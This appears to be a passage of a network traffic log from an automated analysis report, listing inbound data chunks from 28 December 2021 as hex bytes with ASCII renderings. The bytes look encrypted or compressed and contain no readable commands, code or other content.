2021-12-28 17:13:33 UTC	240	IN	Data Raw: 29 41 e2 88 84 f2 ec f3 97 1e b5 ae 26 88 86 47 9f e3 81 1f 02 ad 7c 36 5c c9 cf 51 67 f3 2d 8e f8 0a 69 8f 92 6d 51 1e 86 3c 4b 50 3d 40 75 b2 20 3f d4 37 70 8f 6e 86 83 72 03 ea 80 42 57 a9 b3 e1 33 b1 5a 6d 23 2d fa d6 4d bb 76 8d 17 06 3e e7 b7 55 ad 20 0d 74 41 5e 7a 26 8e 3b 80 8c 71 bc 0e 51 bd 93 b2 a7 5c 94 c6 f2 0e 95 f2 1c ff 70 24 4d 41 44 05 3c 45 8b ee 14 86 85 21 f0 b0 d1 a3 09 07 79 33 cd 1e 38 80 9f 4e f2 73 be ac ad 87 5a 0d fa 12 8e 64 07 25 18 63 2c 1c 38 fc 44 f5 7b 1c f2 80 92 bd 6f ab c8 08 6d d1 1b 66 41 08 a6 76 e8 bb ef 44 f3 88 34 b7 f7 f2 22 d9 b1 13 76 48 bc e8 a3 31 6d ac e3 24 e9 06 a5 2d 06 89 04 62 20 40 0d 6e 58 49 1e b9 c2 1c 94 43 2b aa 91 dd b5 58 89 1c d8 8a 13 44 11 c3 ca 8e e9 89 98 08 c7 e2 e2 39 f7 94 68 d5 74 08 Data Ascii: )A&G\|6\Qg-imQ<KP=@u ?7pnrBW3Zm#-Mv>U tA^z&;qQ\p$MAD<E!y38NsZd%c,8D{omfAvD4"vH1m$-b @nXIC+XD9ht
2021-12-28 17:13:33 UTC	255	IN	Data Raw: 5e 61 9f dc f0 32 0a 95 74 f5 aa 2f fc f6 b6 e6 a0 43 90 a3 6c dc 51 08 fe 6e df 93 f8 97 49 1c 37 d6 a1 69 0d f4 cc 9d 56 2b 8a 6d 54 4a 9e 0c 4b 6c 9d f2 93 9f ad 59 ef 23 49 7d 61 f9 0f 05 87 8e 88 98 16 32 77 68 2b 21 63 44 db 0c a6 58 fe 60 e5 60 3b 34 6e 47 99 60 f4 73 de ad 32 d2 be 2d 8e 61 a9 08 14 e4 85 7a 22 5b 2d 1c e7 df 99 08 1e 7f ca ce 96 f1 93 a5 fd d0 5f 41 a7 9d c2 a2 bb a5 2f 13 1d 48 f2 64 86 92 a4 72 e0 04 ea 50 50 57 88 99 79 0b 65 7a eb 60 69 76 6a 44 97 18 d7 47 47 c6 03 a9 da 54 13 a3 aa 52 e0 54 e6 2c c5 5d d8 20 f1 48 eb d4 a2 0c 58 ba f4 d9 8b 82 db 72 43 70 80 78 d2 4a 20 13 c3 3d c0 e5 ae c5 e2 d0 4d 01 2b 44 69 f0 99 b6 9b 4f 55 9c 0c bd 44 96 e8 1b 81 9e bf 80 b5 ea 35 94 71 48 91 95 b2 1d 0d ba 83 e0 06 44 2a e1 a3 1d f0 Data Ascii: ^a2t/ClQnI7iV+mTJKlY#I}a2wh+!cDX``;4nG`s2-az"[-_A/HdrPPWyez`ivjDGGTRT,] HXrCpxJ =M+DiOUD5qHD*
2021-12-28 17:13:33 UTC	271	IN	Data Raw: 5b bd 63 64 63 e8 6f 25 22 6a 05 f1 4a d9 87 77 de 33 2f e0 36 17 2d 0f c1 9a 84 df 6b c7 23 a1 3e e0 13 67 c8 66 51 b1 2d a3 4f b1 87 48 4d 71 82 c1 77 f4 28 63 35 1b a3 f1 4e 0e f4 6d 84 5d 7a d9 27 c8 78 d0 16 80 b6 2f 57 68 93 d4 99 81 33 90 34 80 ac b1 92 e9 3d df 50 a0 bd 6b 1d 07 b4 26 a4 3d f1 66 77 4b 6d 4d 4a 2b 7e 88 81 01 4f db 53 1b fe 86 c3 7a eb 9b 90 60 34 50 e1 e6 ac 45 18 63 a9 a3 0f 3d 51 80 60 11 e3 a9 c1 16 b7 58 7d 0d cd 76 6c e9 97 cb 72 70 be 9c ef 12 86 89 be 44 ab 6b df 43 29 84 9f a3 8a f1 be f8 c9 3d af c4 db 11 94 ce 0e 06 d5 0a 5c db 05 1a 1e fb ad e2 67 b3 1f b6 df b0 4f 86 e6 9a 74 2b 75 74 d5 13 f7 46 4e 99 0d e1 d5 cd 53 e0 4e a1 15 17 80 d8 06 3a ce 49 47 03 b2 1e 38 8d bb 38 62 16 21 17 29 cf 2e 14 d1 5d eb 21 64 0a 36 Data Ascii: [cdco%"jJw3/6-k#>gfQ-OHMqw(c5Nm]z'x/Wh34=Pk&=fwKmMJ+~OSz`4PEc=Q`X}vlrpDkC)=\gOt+utFNSN:IG88b!).]!d6
2021-12-28 17:13:33 UTC	287	IN	Data Raw: b6 9b 55 81 90 86 9a f4 ab 36 ac 18 d0 f5 41 35 eb f8 6b 7a 5d 13 9c 42 f2 0d e9 40 73 0a 38 7d 6b 70 74 2b e0 65 5b 99 c7 a6 24 09 2b 96 67 e8 05 9b 67 20 80 8a 27 2a 16 65 18 f5 2f a9 ea 1f 22 b9 3e cd ce 95 99 21 9b b3 42 c6 78 39 1d 86 0e d4 1c 76 06 b9 4d e6 33 64 46 7a f6 46 88 69 8d cf a0 bd 6a 15 6c 31 06 94 5e 4e 16 98 3c d8 93 81 b0 83 c9 3e bd 91 49 33 58 f0 54 5a 8d 0b 62 b6 6c af 97 39 76 6e cf 6e 58 0e 35 2a d3 2f b5 05 02 a3 9e ee 79 1e b9 08 55 13 20 02 18 b6 1a 02 97 5d 39 b2 8d 1d 68 4f c2 74 fd 3d a7 2f 1b 50 f5 02 fc f2 f0 03 60 92 69 a4 a3 6e c4 f0 4b c1 84 c9 38 56 9f 7e 7c 57 5f 5d 91 1b e2 c3 da 63 0c 59 17 c9 21 59 ea a2 5f e1 f5 c0 c0 b0 bc d8 9f 0f 7b 7e 21 8a 0d af 41 ba ed cb bc 6a 29 7d d9 46 d4 35 08 ac b7 99 b4 21 8a 45 21 Data Ascii: U6A5kz]B@s8}kpt+e[$+gg 'e/">!Bx9vM3dFzFijl1^N<>I3XTZbl9vnnX5/yU ]9hOt=/P`inK8V~\|W_]cY!Y_{~!Aj)}F5!E!
2021-12-28 17:13:33 UTC	303	IN	Data Raw: a4 5b f1 85 d7 d6 17 d8 88 58 78 cc c8 21 d9 fd eb 6e 5a cb 76 04 b7 f5 d0 60 22 3d 41 6e e0 9c 0f 21 d0 a9 8d f2 a8 44 a5 e6 e3 f9 48 7a 63 dd fd aa 26 58 1d db 21 cf 1d e2 c8 ee d7 a1 aa 6a db 07 f3 f5 de fc 21 d2 1b a6 5b ee 44 ae c0 1a e9 99 86 28 9b b4 ad 48 b3 46 ca 15 0d 7d 30 85 e9 e8 8e 75 b2 d5 60 da fe c2 a4 6e ca 07 7a b6 95 9e 3b fa 3b 99 5d 19 90 e3 42 58 f1 09 8b 6a b2 ab 12 73 89 53 b9 52 87 88 dd 31 a2 56 11 37 6d c5 6d 2f a4 1b 6a bb a5 6b 50 6f 70 f8 3f ea 5b 3f 2c 03 36 eb a6 6e fa 15 84 4f 1a 4f bf a0 45 3f ed f9 d1 7e 26 22 4f 44 60 78 49 2a 19 db 3a c7 df ea 24 2e 25 e8 a4 aa e8 9d d4 ac 06 ff fd c3 2a 9d 50 7c 0f 69 92 58 a2 9a 50 6a 8d 93 a8 94 e9 df 25 47 b8 a5 ff 11 5e 17 d4 11 0d 2b 65 44 9a ff e3 40 9a 2f c0 c9 a0 bc 6b a2 81 Data Ascii: [Xx!nZv`"=An!DHzc&X!j![D(HF}0u`nz;;]BXjsSR1V7mm/jkPop?[?,6nOOE?~&"OD`xI:$.%P\|iXPj%G^+eD@/k
2021-12-28 17:13:33 UTC	319	IN	Data Raw: 63 b5 33 5c a8 2c 69 41 6b bc d1 e3 ab 92 66 d9 0a ac 5a cb 3e b0 a8 80 ff 99 c0 bc ca d2 4c af a3 d6 ef 31 31 3b 5f b4 96 71 ea b7 71 93 f3 70 f5 e3 93 49 8b a1 b4 4b a2 99 06 e7 a7 42 3e 90 ca 35 df 27 50 6a b7 14 d8 fc a0 76 b4 de e3 45 0f e7 46 af 52 56 57 f3 9f a0 d4 1e 98 0b 5d aa 73 09 fb 38 6c dc 6a 9c 17 b4 d9 87 4d 76 4b 88 8f 8f 66 bf b9 7d 46 5b 89 c9 84 b1 42 0f f9 38 93 6b ea a0 75 55 c0 b0 74 11 aa 25 a6 4e 25 ac d1 e5 b8 97 46 a3 f6 90 3d 54 f1 1a 48 57 00 22 88 92 c9 e4 30 01 b0 c4 db 3e 14 10 5b 27 96 90 36 82 ac 59 ea 1d 8e c5 c5 eb 22 3a a8 4e 71 23 eb af d5 3f d4 34 8b 07 89 f0 2e 78 48 d0 87 05 7b 3d 3f 58 ca 90 72 8f c7 eb 52 12 99 06 81 55 5b 00 65 ba e1 14 3b 71 fb 6b f3 12 78 59 6f 2b 89 e2 e4 5d 49 d4 8e 13 df 51 84 77 7c b1 9f Data Ascii: c3\,iAkfZ>L11;_qqpIKB>5'PjvEFRVW]s8ljMvKf}F[B8kuUt%N%F=THW"0>['6Y":Nq#?4.xH{=?XrRU[e;qkxYo+]IQw\|
2021-12-28 17:13:33 UTC	335	IN	Data Raw: f3 01 e9 9d 1b ba 50 14 90 b5 78 8b ab 56 17 e8 60 bb 3e 48 d9 fa 33 7d 8a b1 70 53 15 23 62 5b 3d 9b 45 ac ea 20 bb 7a 77 f5 5c de e2 ff 6f 08 88 8e 4b c7 64 ae a5 ad e8 70 1d 1f ec 77 c8 a9 cb 9a eb 78 ef ec 66 7d 41 a0 4c 6e 76 30 d6 a1 af 9f 02 3e db 10 5f 50 09 b0 51 e1 fa c6 0c 24 60 9a bb 01 7c 41 6f 47 b4 ed 58 cf 0d 91 9d d5 ba 98 4c e8 00 f2 8e 5d f3 26 a1 2c a9 6e 29 fc 23 56 c0 9f 97 50 1d ca 2c b7 ff 86 32 0e 69 ca f5 02 41 3c 14 08 5a 37 b5 6a 1b 7a 8b 26 00 c5 98 c8 d7 45 8d 91 39 8c ca 45 d8 3c 04 7d fe 7a 62 df d9 52 7f 93 48 59 dd f5 10 d7 9c 59 c2 3d 51 9c 2f 6d 98 c8 4a e4 76 ee f1 7c 3b d4 a2 bf 6c 36 08 a6 a8 0a bf 27 13 0c 2a 26 f6 f3 fe 49 ba 9d 89 07 7b 95 a2 4a 72 49 45 7a 83 07 b0 db ca 76 2d 93 cf ca 91 a9 b8 f8 b8 a2 94 99 7f Data Ascii: PxV`>H3}pS#b[=E zw\oKdpwxf}ALnv0>_PQ$`\|AoGXL]&,n)#VP,2iA<Z7jz&E9E<}zbRHYY=Q/mJv\|;l6'*&I{JrIEzv-
2021-12-28 17:13:33 UTC	351	IN	Data Raw: a5 27 77 d5 dd d0 1e c3 f7 eb 07 93 a8 94 b9 16 13 c5 59 17 fb af dc 28 24 d6 9c 58 d5 24 22 8c 88 3f 3d 6c f0 9d 55 09 03 9b d3 3a e9 61 a5 89 6d a9 39 42 90 ad 63 ba 25 0d 0c c1 f1 c4 c8 fd c5 26 d7 1a c8 79 52 d8 72 4e 4e eb 7c 6f 77 c9 18 ab c1 bb d6 0e f8 bb 92 6f fa 0b f8 d6 f3 d8 ca 65 7c 9b 58 a6 66 e2 4e 72 97 fe a4 dd 9c 44 7d 6f bc 9c 14 e6 64 09 f4 54 df 15 e3 bd b4 c1 e1 0d 02 cf b2 38 2f 41 b3 82 7e 68 34 62 e4 80 88 74 de ac f0 68 c3 bd ff ec f5 24 70 fd d1 fa ef 6b fc 77 09 29 4d 58 db 25 df cc 02 87 af 10 e5 37 ce e3 3f 62 3c 2e ce 22 c0 6f 13 f4 2a 03 49 11 a1 48 f1 44 e8 d5 12 74 cb 3c 03 4f 1d 53 bd 72 fd d4 2f ef 84 f3 b1 4f 45 06 de 7f 51 b3 2e d6 5c 50 54 67 68 db 97 bf 77 87 24 f7 e1 34 52 52 f7 83 ce 08 e8 5a 51 ef ae b1 e0 fd 51 Data Ascii: 'wY($X$"?=lU:am9Bc%&yRrNN\|owoe\|XfNrD}odT8/A~h4bth$pkw)MX%7?b<."o*IHDt<OSr/OEQ.\PTghw$4RRZQQ
2021-12-28 17:13:33 UTC	367	IN	Data Raw: 28 db dc ad 81 8c 38 67 47 77 b1 9b 83 29 f9 c6 3f 86 1c 6c 01 9d 4f e6 38 31 b2 f1 20 6c dc 2c fa 3f 1c 36 59 8e 52 8b 0d d0 35 1b a3 d8 8d c5 2f e7 7b da 37 ed e2 7e 3c c2 bc 24 43 66 aa 8d 99 6b a8 03 1e 3a 4e 5d 97 5b aa cd 65 a9 9c dd ee 67 55 a5 2d 7e 66 93 4a 93 e6 ec 0f 2d db 28 cb 81 23 c5 6c f1 e0 f3 6b 8d 16 6a 54 b2 79 15 b1 2a fb 60 8b f8 ed 06 d1 06 59 7a e7 4c 5d 11 79 59 97 3b 20 c5 7d 71 92 fb b6 ad 9b 6f fa d7 ec e2 2b 20 42 74 3e b4 98 71 2e cb f5 e0 d1 8f d3 49 14 41 73 d9 45 b6 99 26 a7 8c 7d d8 86 1e 58 31 66 9d 35 8c 6b f9 fa 54 eb ae 21 b3 1b 9b f4 bc 76 0b bc c5 c8 90 23 24 d1 19 4b 25 5e 94 f0 6a de e1 28 47 61 eb e2 dd e3 90 f0 bc 86 f9 7e b7 28 8e 6e 64 3e c6 35 fb 8c 09 a3 39 05 fe 7e 48 a5 bf d7 1d 2f db a0 d4 55 3e f6 e6 ac Data Ascii: (8gGw)?lO81 l,?6YR5/{7~<$Cfk:N][egU-~fJ-(#lkjTy*`YzL]yY; }qo+ Bt>q.IAsE&}X1f5kT!v#$K%^j(Ga~(nd>59~H/U>
2021-12-28 17:13:33 UTC	383	IN	Data Raw: 1c 64 e6 d6 36 80 d4 19 1d 6c 79 18 9f 3b 6d 93 18 18 a3 14 42 1b 5b 49 f4 56 05 88 0d ff 27 9d 05 f9 1d fd 21 20 0d 81 ed 89 c9 b4 1c 5d 45 38 df 95 77 84 87 c8 91 6a b8 18 00 22 28 4c 2d db 9a ee d7 62 8c bc 20 36 95 83 c1 cc e9 9e 8d b1 9e 29 cd 40 15 0d 69 b9 e5 ca 32 72 bd bc d9 cc 01 9d c3 95 89 fc 34 e6 9b 4b 75 4a c0 26 ce fe 66 e9 2e 61 c8 b5 34 ba 55 dc 56 aa e5 cc 4e ff 6a 03 31 8d b3 b6 93 2e 9a 7b a7 98 d4 0f d9 de 0a 4a f3 b8 13 d7 df e7 cc e4 e8 0e 7b b8 b9 53 5a 6c d1 3a 04 b6 2e fa 91 ed 24 c2 09 4b 0e 59 4e 85 b0 4a cf d0 94 97 f5 d3 95 14 56 81 36 61 4e 20 cc 75 49 5d 31 3c 0d 89 e8 8b b9 ec d5 6e 70 fc fd ac 30 c4 7e f2 ff e6 9d 92 e0 54 c3 f8 3f 91 38 32 7f a0 35 d1 a3 9c 8b d2 40 37 53 44 29 ad 6a 1d 25 43 7a 94 08 b7 e4 b1 0f 41 c1 Data Ascii: d6ly;mB[IV'! ]E8wj"(L-b 6)@i2r4KuJ&f.a4UVNj1.{J{SZl:.$KYNJV6aN uI]1<np0~T?825@7SD)j%CzA
2021-12-28 17:13:33 UTC	399	IN	Data Raw: 40 07 e4 c9 8e 10 4a 6d dc ee 66 ce 27 0d f2 4c 8e f3 60 dc 85 a8 01 c7 e4 4b a6 eb 80 81 9c 47 6e 92 2b e6 a5 4d d1 56 8c 8c 70 6e bf cd 51 6b 83 45 d2 25 cf 96 14 83 64 ca 54 61 2e 5e 6a 53 14 41 b3 da 20 ae 8f 02 ea c7 01 74 7d 19 56 be c2 49 a0 58 80 d7 8d b5 57 60 ca 75 1d 30 95 93 42 c5 bf d4 92 bf f0 c5 ee f6 6d 40 38 9c 19 66 e5 4d ed d5 7d cc 2e 13 92 bb 0e 9f e3 04 0a 77 5a 93 fa a9 87 f6 1a 83 f8 ba 17 6e 62 ca ac c4 5f 3e d2 c3 c9 a7 6a e8 b7 03 85 a8 db fe 94 a4 28 2f 0e 2b 9a 51 c6 cd 6c 40 bf 32 23 3f ca 58 e3 70 5b be ad ab 18 2a 9c 2e 6c 8e 04 e3 b3 04 b0 bf e4 fa e8 40 59 54 cf 9e 8f e5 88 ca d2 cf 2f 1c fd 58 cc 40 2b 6d 08 f6 4c 40 07 30 b3 fa 38 84 dc f1 9f 51 8f 9c f9 a0 b6 b4 73 64 84 64 45 6e ea 06 fc 10 74 3f df 09 ee 10 db ee ff Data Ascii: @Jmf'L`KGn+MVpnQkE%dTa.^jSA t}VIXW`u0Bm@8fM}.wZnb_>j(/+Ql@2#?Xp[*.l@YT/X@+mL@08QsddEnt?
2021-12-28 17:13:33 UTC	415	IN	Data Raw: 81 56 62 5b 47 20 74 20 e2 fe 66 cb ba 24 bd e4 dd 70 80 8a b0 be 3f 19 7b fc 6c 08 e3 de 54 f7 b5 fc 5c 69 fc 52 58 57 20 d8 0b 92 74 fa 6e c9 c4 81 99 87 1b f4 53 3a ce 4d cd 09 6e 66 00 ec db de 3a 26 24 6d f9 6f 41 33 bf 21 28 c1 8e 11 80 96 67 98 f1 83 30 f5 18 95 90 19 5c a4 7f 30 68 6f 0b 7d ef b7 1d 9f 58 fe 23 80 4b 82 b0 ca d6 85 58 63 5d 5f b4 8d c2 f7 2e 78 ff 01 29 5b 44 aa 17 f7 0d 7e 82 1d c1 a5 7d 28 1a 70 64 78 7b 8b 15 3f ec d2 5b 9f 9a 85 a1 85 9d d5 89 0e f1 cc 02 a5 f6 d2 cd 5e f5 7c 0a 5f 63 fb c5 71 dd d7 29 e9 c7 aa ca a5 80 e7 af 8c db b7 5e 43 62 19 d3 98 d8 c5 6f eb 2e e4 43 4e 5c 8b 2a 38 cc 04 7e d7 c0 7c e3 04 dd 5b 0b cc 52 21 5c f8 3b 1b 49 48 bd 73 30 49 0f b2 19 ba 3a 2e b4 1e 37 21 de 11 ce 51 d9 44 c1 4a 47 ae 1a 4b 0a Data Ascii: Vb[G t f$p?{lT\iRXW tnS:Mnf:&$moA3!(g0\0ho}X#KXc]_.x)[D~}(pdx{?[^\|_cq)^Cbo.CN\*8~\|[R!\;IHs0I:.7!QDJGK
2021-12-28 17:13:33 UTC	431	IN	Data Raw: 68 95 02 80 7d 3a 06 37 f6 64 c1 52 11 01 5e 6d 68 10 49 fa ed c9 46 34 f2 e2 e5 f1 10 6e 54 26 15 10 cf c2 03 25 cb 2c f7 5c 5a bf d5 d5 00 5a 31 ad 61 18 96 18 ff c7 cb 5f 88 97 00 7f 8e 7e 98 22 6b d7 52 63 0a a5 f0 a4 c2 25 59 7d 16 66 02 5c 8e 4a 80 f4 9d 0c a2 74 b3 5b b0 46 e6 3b 95 8a b7 ee 1f 83 3e b9 86 a2 c0 d5 76 84 72 29 d0 c4 1a a3 b5 8c b7 ea 4f cf 30 8d 66 32 f3 db d8 a1 8e 98 80 99 ac d0 4d 9a da f3 94 0d bf 10 38 aa 49 da 5a bc fd a3 e1 6d 9e 32 2c c6 ac 40 27 df 51 33 94 c8 75 5d 71 62 0d d6 2c 2a 98 52 78 68 4c 20 58 2e 8f 23 3d 14 48 4e e7 05 1e 2c a4 8a eb 95 4d b9 59 4e b0 8c 54 04 c8 44 b0 07 78 41 87 0d 0c 36 61 95 a3 5e 4b bf 8a 8e fe 6b 1a 32 69 d5 64 e8 1c d7 72 48 f7 4d 43 83 bb b8 6e 8d d3 8f 36 e2 48 35 00 2f 60 c1 4e 39 45 Data Ascii: h}:7dR^mhIF4nT&%,\ZZ1a_~"kRc%Y}f\Jt[F;>vr)O0f2M8IZm2,@'Q3u]qb,*RxhL X.#=HN,MYNTDxA6a^Kk2idrHMCn6H5/`N9E
2021-12-28 17:13:33 UTC	447	IN	Data Raw: f2 ef cf 45 cd 3d c4 bf 22 70 56 76 dc 26 a2 1b 7b a1 a3 41 a8 52 5b d8 88 dc 56 2a b0 ec 82 e4 37 db 4d 92 c2 31 06 ec 69 73 d3 9d 7d 63 8b e6 f5 d0 20 72 27 db 29 ea 37 33 29 39 23 6d 88 f1 ab 6d 32 e1 49 70 2e ef ec cf 8d 6c 70 9e da ec 66 83 1e 10 85 ef e4 8c 70 86 bc 94 e8 40 50 f0 d5 3d db fb 5d ab ed 21 ea 0c e1 13 9a 88 cd a6 8c 29 74 4d 0e e1 60 68 ef e2 fe e5 6f 04 90 fa 3b 51 c2 1e 39 ed 9e 91 40 41 dc cd fd 16 77 bf e9 a5 26 5c c5 df 17 a8 2d c7 a8 a0 f1 62 33 14 22 de 0a 31 18 c4 f7 c3 a3 c5 ca ff ac fe 27 57 63 9a c7 d5 fd 9a bf 2e 73 c7 40 b1 5e 5f 72 ed c3 e7 a8 e9 68 61 eb 78 bf 36 67 69 e1 c1 6c e8 e3 47 2b 17 70 23 33 e8 ef a9 53 64 23 ea 38 b5 0e 5f 75 cb ee c5 33 27 95 49 fd 55 f8 ab 32 27 33 c9 8f 98 26 18 ab 08 ea d1 a4 90 b1 74 7a Data Ascii: E="pVv&{AR[V*7M1is}c r')73)9#mm2Ip.lpfp@P=]!)tM`ho;Q9@Aw&\-b3"1'Wc.s@^_rhax6gilG+p#3Sd#8_u3'IU2'3&tz
2021-12-28 17:13:33 UTC	463	IN	Data Raw: fd 9c d6 0c e3 e6 d5 fc e7 8d 70 0b f5 c9 1b e5 a4 87 8e 97 3b 83 f3 55 5b fd 83 c9 49 43 a6 fb 2e 01 88 fb 7a 3a ba cd 96 5d 16 60 c0 1f c0 80 46 75 cb 64 26 dd 33 aa ac 02 e7 2b da f4 45 98 1c e9 f5 04 49 05 3c 85 52 19 b4 6f ec 00 22 2e db b4 1c b3 28 21 e7 be cb d0 7e 23 05 15 64 57 0a a2 c3 0e 26 53 e5 07 bb e7 3e 55 86 97 39 7d 8a b4 7c 53 35 e5 10 f4 16 0a 7c a2 5d 88 ee 57 08 88 bb dd a6 25 81 10 63 67 df b3 f5 7e 6c b8 ab ee 98 a2 00 a6 7f 0a c2 9a 71 55 d5 c1 4a e8 fa 33 8f 87 37 2c 52 cb 00 06 b5 ba 35 5c 62 05 8b ac f9 82 26 c6 49 ee 5c 13 4f 1d 44 97 16 f5 1b b5 37 f9 b4 ee df b6 2e 13 5d 7b be 3b e9 01 7d 1f f5 7c 40 dc 05 40 b6 94 ea 08 58 1c e5 b6 e3 67 36 37 6f 84 ed 32 62 73 c7 50 ee 49 1a cb f0 59 9c e3 82 9a 41 b8 df b1 87 61 18 21 a8 Data Ascii: p;U[IC.z:]`Fud&3+EI<Ro".(!~#dW&S>U9}\|S5\|]W%cg~lqUJ37,R5\b&I\OD7.]{;}\|@@Xg67o2bsPIYAa!
2021-12-28 17:13:33 UTC	479	IN	Data Raw: ad 0a 6e 61 34 6b d8 ca a5 42 5a c4 a9 bf 11 6f ed b7 70 85 fe cf ec 5a b7 b6 e4 f3 23 29 98 52 17 0c e7 15 11 e8 29 c9 23 5c 7e 11 e8 7b 39 14 96 bd 92 34 98 19 38 f5 9c 55 4b 92 a8 46 52 9e 57 a9 a3 05 9a 30 19 8d 7d ee f0 72 a1 f8 15 d8 75 3a b7 9d f4 d4 1d 91 fb 14 3e f9 80 57 b7 ca 25 77 e0 6f c5 9a e9 f3 dc ca 16 32 d3 0c 13 d9 f8 39 98 a1 d6 37 b7 f1 fa 69 ee c7 70 11 1b b8 f2 26 ba ef 0d 49 5d 7d c2 c8 ad 08 1d 01 a4 42 f8 14 ac 23 01 c2 05 9c e0 d4 80 59 b3 3f 28 a5 d1 0c f9 35 02 bc e5 3a e6 7b 82 9f e8 a0 6d 45 86 f8 3f 97 bc 45 2c 9e f4 15 15 f8 66 f3 6b de 3e 97 b4 e3 82 a2 56 81 c6 f0 fe f2 6c 13 24 af 00 5c ce c2 e4 99 d4 98 26 59 f9 1f d9 fb 88 14 27 0b c7 cf bf a8 d9 c6 ec cb 40 3e 4c fc 62 08 d4 da a3 6f aa bf 42 83 67 c3 96 a0 1e dd 1a Data Ascii: na4kBZopZ#)R)#\~{948UKFRW0}ru:>W%wo297ip&I]}B#Y?(5:{mE?E,fk>Vl$\&Y'@>LboBg
2021-12-28 17:13:33 UTC	495	IN	Data Raw: de 5a 76 9f 71 53 b1 5d a8 ce a2 58 c0 b2 d4 a2 23 26 c1 aa 0e cd 01 d4 7f 1f 57 e3 11 22 f6 77 e5 67 5c 20 83 b6 b4 2f 12 f9 c3 3c 7a ff 0b 64 cf ca e6 80 82 ca 70 a0 ef cd fd d9 c5 8f 0f a1 b6 04 7f 2f 9d 4a 5d 2d 5b b7 c8 1b 11 6e 53 7d 0c 54 06 ae ca f6 40 14 a9 80 d0 eb fe 7d 96 e7 01 b6 35 ba ad 02 9b 44 ee a9 20 0a 3c 0b d2 3a b0 c0 b4 6d 9a aa 63 cf fd 21 e8 dd 9c 82 2e ad 62 ea b2 b2 4b 44 9b c6 f0 da cd 48 77 6c b3 bd 1c fe aa 7a e3 46 cf 0e fd d6 69 17 f7 57 c8 64 28 c8 fa 33 cc b6 35 d7 fc 04 06 f5 84 7e 2c 95 52 cc 8d b7 42 18 d4 2c 90 b4 d3 7f 9f e3 02 69 1b cf 75 c7 d8 95 68 ef 53 d4 40 91 37 29 06 a5 c5 0b 7a a8 be 77 e5 55 4e 6f ef d7 ee d5 25 c9 51 c0 8f 82 f0 3b 02 ef 30 a1 e2 b0 bc d1 0f 9b 49 01 55 2b de ea 91 7c f4 14 5f 42 57 90 27 Data Ascii: ZvqS]X#&W"wg\ /<zdp/J]-[nS}T@}5D <:mc!.bKDHwlzFiWd(35~,RB,iuhS@7)zwUNo%Q;0IU+\|_BW'
2021-12-28 17:13:33 UTC	511	IN	Data Raw: ac ed 24 35 af d7 ee 92 8b 41 fc e6 61 c5 51 bc 68 9a c1 00 00 01 cf d3 44 d0 c4 dc 94 ea f3 16 22 7c de 7b a0 b1 84 b2 7c bc 04 62 49 bc a9 a3 3e 33 5c 1b f9 6b ca 52 0e bf cc da c4 0d cb ca 20 7c 29 da c3 06 ec 63 7f 69 14 a9 29 43 0e da 16 19 a4 af c3 f9 b9 19 04 81 46 80 e1 90 7a 48 9c d2 76 a8 7d b0 97 60 0b 25 19 17 dd cf 2a f3 a9 12 f4 03 58 d9 a3 46 f4 7e 00 2d 69 2a fc 08 4c 55 69 ed 5f 73 e4 d0 43 a8 3e 43 41 80 e7 03 28 cf 8e de 57 e8 00 80 bd 87 4c fa 27 84 7b 85 58 41 7c bc ae ad 18 4c 64 c8 05 f5 56 32 93 31 9a b4 58 85 83 fd 9b 4f 05 77 7f b0 37 84 b7 b8 a0 bd 70 26 13 8c 1b e9 24 c0 41 2f 0e b8 3c e4 fa d9 9d b6 ac 6e c1 41 9a e0 23 b3 9c a3 d7 d2 fa 20 1f 70 92 f8 01 c0 91 ac 10 ee eb f1 b2 8c 2f 79 eb 47 6f 5a 76 cc 68 73 59 2b 7e a3 50 Data Ascii: $5AaQhD"\|{\|bI>3\kR \|)ci)CFzHv}`%XF~-iLUi_sC>CA(WL'{XA\|LdV21XOw7p&$A/<nA# p/yGoZvhsY+~P
2021-12-28 17:13:33 UTC	527	IN	Data Raw: e1 2e af 50 4e 6f 76 56 c2 3d 6f b9 01 87 55 fd 1d db b1 75 3f a8 d5 23 a9 30 6b ec 75 3f de 82 65 32 48 99 e1 e2 b1 ea 8e 9f 7b cb 5c 6a 76 17 49 9f 1e ad a0 83 26 ff ab e8 10 8a 63 10 2a a7 24 06 dc 54 fc 0c f9 e8 0a 34 a9 b2 ba c9 08 d8 1c f2 2c c3 c8 e4 59 65 50 5f 27 9b 04 10 9d fa f1 00 ff 18 e2 ae 5a 97 a6 14 ef 8c 56 78 9a 73 19 80 48 15 80 a3 ab c3 b3 bb 77 9d 26 4f 12 b6 ff 2e 34 b3 40 60 68 37 bd 26 60 6f d5 c4 66 a3 18 03 14 f9 b6 57 46 df c6 57 55 b5 d6 19 7c 7d 91 fa ee 5f bd 6a cb f6 65 87 98 99 48 fb 5a 12 55 20 37 cd b6 03 50 8e f7 ba a0 5c 39 6a 88 9c d1 3c a1 b3 d8 cf 72 23 6e 47 d1 6a a1 3f 56 ff 73 f3 a3 64 8d 4c c2 0b f3 44 f6 90 54 2f 74 ad d3 86 3d 00 d5 e2 db f5 51 c0 e9 bf 13 39 a4 38 be 93 7d dc 38 6a 93 75 65 ac 27 c4 42 64 ba Data Ascii: .PNovV=oUu?#0ku?e2H{\jvI&c*$T4,YeP_'ZVxsHw&O.4@`h7&`ofWFWU\|}_jeHZU 7P\9j<r#nGj?VsdLDT/t=Q98}8jue'Bd
2021-12-28 17:13:33 UTC	543	IN	Data Raw: 25 e2 08 43 ad 85 f9 f7 31 3f 31 2d 51 4f 41 ec 7b 4e b2 43 e1 00 db 5f d7 63 7e 79 15 53 de be 5f 03 71 77 9b 4a ba b5 36 e1 46 5e 4e dd 08 74 8c 55 f1 77 19 46 58 ce 0c c6 d2 56 99 82 cb 22 bf 1e 00 65 ed 67 cd 69 f3 28 c8 6d dc 17 38 94 ab e6 22 e4 91 ad 51 02 a1 bc 43 dc 49 f2 7a b5 97 b3 34 b6 f9 cf eb e9 d3 8a 20 d7 f6 87 13 5c c3 2b 45 8c 9f 4c b1 89 6e d8 38 bd 3a e2 de 97 2a b6 9b fe cb e7 da 9f ad 1c c9 01 d1 34 7c f6 7e 3c c9 ac c4 86 d4 d8 d4 88 aa 31 70 a5 be 6a 7d c1 e3 d8 53 02 1e 26 50 22 50 75 8a 62 b2 dc 5c 89 8c 42 ff 20 fe 44 f1 14 80 70 8a 9e ab c7 6d b9 02 31 58 4a 35 f6 84 d4 2e 97 83 a5 90 09 c7 01 0c 76 65 32 c4 6e 8a 6d 61 17 d5 dc 44 d5 a7 92 3b 59 ff da 4a 21 5f a4 21 c4 e8 d7 43 43 f3 f0 ab 90 5e 20 09 1a f0 1b ad fa 10 92 0e Data Ascii: %C1?1-QOA{NC_c~yS_qwJ6F^NtUwFXV"egi(m8"QCIz4 